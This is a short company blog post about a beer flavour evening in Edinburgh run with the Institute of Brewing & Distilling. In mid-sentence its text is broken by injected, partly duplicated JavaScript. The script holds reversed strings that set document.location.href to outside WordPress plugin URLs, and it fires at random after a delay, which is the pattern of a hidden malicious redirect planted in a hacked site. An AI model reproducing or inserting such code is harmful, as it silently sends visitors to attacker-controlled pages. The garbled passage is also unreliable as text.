Aroxa Flavour Standards

Last week, Cara Technology held a flavours evening in collaboration with the Institute of Brewing & Distilling. The event was held at Moriarty Bar in Edinburgh. The evening was run by our two business development managers, Amaey Mundkur & Craig Thomas.

The event featured a short presentation on sensory toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and beer flavour, as well as a flavour assessment focused on hop derived flavours. The event was well received by all those who attended.

To find out more about the Institute of Brewing & Distilling, click here.